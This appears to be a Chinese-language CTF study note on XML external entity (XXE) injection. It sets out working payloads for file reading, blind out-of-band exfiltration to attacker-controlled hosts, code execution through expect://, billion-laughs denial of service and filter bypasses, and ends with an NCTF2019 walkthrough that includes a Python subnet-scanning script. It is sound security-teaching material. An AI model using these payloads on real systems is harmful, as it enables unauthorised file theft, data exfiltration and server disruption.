CTF XXE https://www.cnblogs.com/20175211lyz/p/11413335.html XXE漏洞利用技巧:从XML到远程代码执行 https://www.freebuf.com/articles/web/177979.html
概念 XXE(XML外部实体注入)是一种针对应用程序处理XML数据的方式的攻击。在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入或“注入”恶意内容。这可能导致未授权的数据访问、服务拒绝攻击甚至执行远程代码。
XML XML文档结构包括:XML声明、DTD文档类型定义(可选)、文档元素
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo > &xxe; </foo >
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。 DTD一般认为有两种引用或声明方式: 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
1 2 3 4 5 <!DOCTYPE note [ <!ENTITY a "admin" > ]> <note > &a; </note >
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
1 2 3 4 5 <!DOCTYPE note > [ <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" > ]> <note > &c; </note >
参数实体
1 2 3 4 5 6 <!DOCTYPE note > [ <!ENTITY % b "<!ENTITY b1 " awsl">" > %b; ]> <note > &b1;</note >
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示: 上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
XXE漏洞类型 任意文件读取 直接读取
1 2 3 4 5 <?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><foo > &xxe; </foo >
引入外部实体
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd" > %file; ]> <test > &hhh; </test > <!ENTITY hhh SYSTEM 'file:///etc/passwd' >
Blind XXE 无回显的情况下
基于OOB(Out of Band的缩写,指安全数据不经过自己通信的信道进行传输),先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器
1 2 3 4 5 6 <!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php" > <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %dtd; %send; ]>
evil.dtd的内容,内部的%号要进行实体编码成%。
1 2 3 4 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>" > %all;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
基于报错 基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
通过引入服务器文件:1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd" > <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag" > %remote; %send; ]> <message > 1234</message > <!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>" > %start;
通过引入本地文件:1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd" > <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag" > <!ENTITY % ISOamso ' <!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>"> %eval; %send; ' > %remote; ]> <message > 1234</message >
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,只要是从外部引入DTD文件,并在其中定义一些实体内容就行。仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send。
嵌套参数实体 虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd" > <!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>" > %start; %send; ]> <message > 10</message >
基于报错的三层嵌套参数实体XXE1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" ?> <!DOCTYPE message [ <!ELEMENT message ANY > <!ENTITY % para1 SYSTEM "file:///flag" > <!ENTITY % para ' <!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>"> %para2; ' > %para; ]> <message > 10</message >
内网探测 1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" > ]> <user > <firstname > &rabbit; </firstname > <lastname > 666</lastname > </user >
RCE 这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" ?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]><catalog > <core id ="test101" > <author > John, Doe</author > <title > I love XML</title > <category > Computers</category > <price > 9.99</price > <date > 2018-10-01</date > <description > &xxe; </description > </core > </catalog >
DOS 1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" ?> <!DOCTYPE lolz [ <!ENTITY lol "lol" > <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;" > <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" > <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" > <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" > <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" > <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" > <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" > <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" > ]> <lolz > &lol9;</lolz >
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。亦或者,如果目标是UNIX系统,
1 2 3 4 5 <?xml version="1.0" encoding="ISO-8859-1" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" > ]> <foo > &xxe; </foo >
如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
绕过XXE防护 编码绕过:ENTITY
SYSTEM
file
等关键词被过滤,使用编码方式绕过:UTF-16BE:cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
协议绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 file://协议加文件上传 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg" > %a; ]> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd' > php://filter协议加文件上传 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg" > %a; ]> <test > &hhh; </test > <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php' > <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg" > %a; ]> <test > &hhh; </test > PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
利用场景 svg
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height ="100" width ="1000" > <text x ="10" y ="20" > &file; </text > </svg >
从当前文件夹读取文件可以使用/proc/self/cwd
excel 首先用excel创建一个空白的xlsx,然后解压
1 2 mkdir XXE && cd XXE unzip ../XXE.xlsx
将[Content_Types].xml
改成恶意xml,再压缩回去zip -r ../poc.xlsx *
CTF题目 NCTF2019 True XML cookbook 访问页面并抓包 发现请求是xml格式的,首先构造payload尝试读取flag:<!ENTITY abc SYSTEM "file:///flag">
,失败,刚开始没打分号,xml有报错,发现文件路径在/var/www/html/doLogin.php
,后面还是不行,可能是没有。尝试用php协议, <!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
解码后成功获得源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $USERNAME = 'admin' ; $PASSWORD = '024b87931a03f738fff6693ce0a78c88' ; $result = null ;libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );try { $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $username = $creds ->username; $password = $creds ->password; if ($username == $USERNAME && $password == $PASSWORD ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,1 ,$username ); }else { $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,0 ,$username ); } }catch (Exception $e ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,3 ,$e ->getMessage ()); } header ('Content-Type: text/html; charset=utf-8' );echo $result ;?>
看上去是正常的来者,也没有提示有其他的方向或思路,尝试继续用上面的协议读取一些其他文件,尝试进行内网探测 发现有一个奇怪的ip,尝试访问下 有报错,尝试爆破下,失败了,看网上解析还需要查看其他的文件file:///proc/net/fib_trie
。文件提供了关于FIB(Forwarding Information Base,转发信息库)Trie(前缀树)的信息。其作用是高效地存储和查找路由表项。它以一种前缀树的形式组织了路由表项,其中每个节点表示一个路由前缀。通过在树中进行前缀匹配,内核可以快速找到与目标IP地址最匹配的路由表项。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requests as resurl="http://b32f52cd-49a3-48fa-9f8f-da51aeed0e6d.node5.buuoj.cn:81/doLogin.php" rawPayload='<?xml version="1.0"?>' \ '<!DOCTYPE user [' \ '<!ENTITY payload1 SYSTEM "http://10.244.166.{}">' \ ']>' \ '<user>' \ '<username>' \ '&payload1;' \ '</username>' \ '<password>' \ '23' \ '</password>' \ '</user>' for i in range (1 , 256 ): payload=rawPayload.format (i) print (str ("#{} =>" ).format (i),end='' ) try : resp=res.post(url,data=payload,timeout=0.3 ) except : continue else : print (resp.text,end='' ) finally : print ('' )
用脚本爆破出
CVE-2021-29447 https://www.freebuf.com/vuls/272446.html